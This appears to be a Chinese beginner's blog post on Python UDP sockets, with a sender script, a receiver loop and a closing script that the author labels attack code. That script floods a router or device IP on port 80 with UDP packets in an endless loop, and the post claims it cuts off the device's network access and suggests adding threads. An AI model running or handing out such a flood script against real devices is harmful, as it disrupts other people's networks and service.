关键字:
SOCKET:套接字
PORT:网络端口
IP:网际互连协议
UDP:用户数据报协议(无连接)
21端口和80端口知名接口,上网必用
了解更多去百度
首先,如何实现局域网内计算机通信?
import socket
def main():
# 创建一个udp套接字
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 从键盘获取数据
send_content = input("input data:")
# 可以使用套接字收发数据
# b"hahaha"是直接将其转换为byte类型数据,IP地址与端口放在一个元组内
# udp_socket.sendto(b"hahaha", ("192.168.2.145", 8080))
# 使用encode将其转换为utf-8格式
udp_socket.sendto(send_content.encode("utf-8"), ("192.168.2.145", 8080))
# 关闭套接字
udp_socket.close()
if __name__ == "__main__":
main()
使用网络调试助手可以并且设置好端口号,便可以接收消息!
接下来如何使用python接收呢?
import socket
def main():
# 1.创建套接字
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 2.绑定一个本地信息
# ""或''代表本机IP,里面没有空格
localaddr = ("", 5773)
udp_socket.bind(localaddr)
# 循环接收
while True:
# 3.接收数据
recv_data = udp_socket.recvfrom(1024)
# 此时recv_data里是一个元组数据,0索引处是消息,可以自己打印出来看
if recv_data[0].decode("gbk") == 'exit': # 加一个解码操作
break
# 4.打印收到的数据
print(recv_data[0].decode("gbk"))
# 5.关闭套接字
udp_socket.close()
if __name__ == "__main__":
main()
程序运行时便可以进行接收,为了写博文方便,在此直接收发截图放置于此:
注意:这里的发送ip可以是本机的,但是绑定的端口不可以同时进行!
此时,向主机(计算机/路由器)IP不间断向81端口发送消息,就会使其内存堆满,可以引入线程效果更佳,在此就不详述了,大致攻击代码如下:
import socket
def main():
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_data = "通常被称为本地回环地址(Loopback Address),不属于任何一个有类别地址类。它代表设备的本地虚拟接口,所以默认被看作是永远不会宕掉的接口。在Windows操作系统中也有相似的定义,所以通常在安装网卡前就可以ping通这个本地回环地址。一般都会用来检查本地网络协议、基本数据接口等是否正常的。"
while True:
# 地址改为路由器主机IP再加80端口!
udp_socket.sendto(udp_data.encode('utf-8'),("192.168.2.1",80))
udp_socket.close()
if __name__ == '__main__':
main()
至此实现完毕!
路由器网络瞬间会炸裂,如果换成计算机/手机IP,端口80,同理这个设备上网功能在攻击时就不能使用了!
半夜打字实在是胳膊酸,我写东西不喜欢写的太过详细,点到为止即可!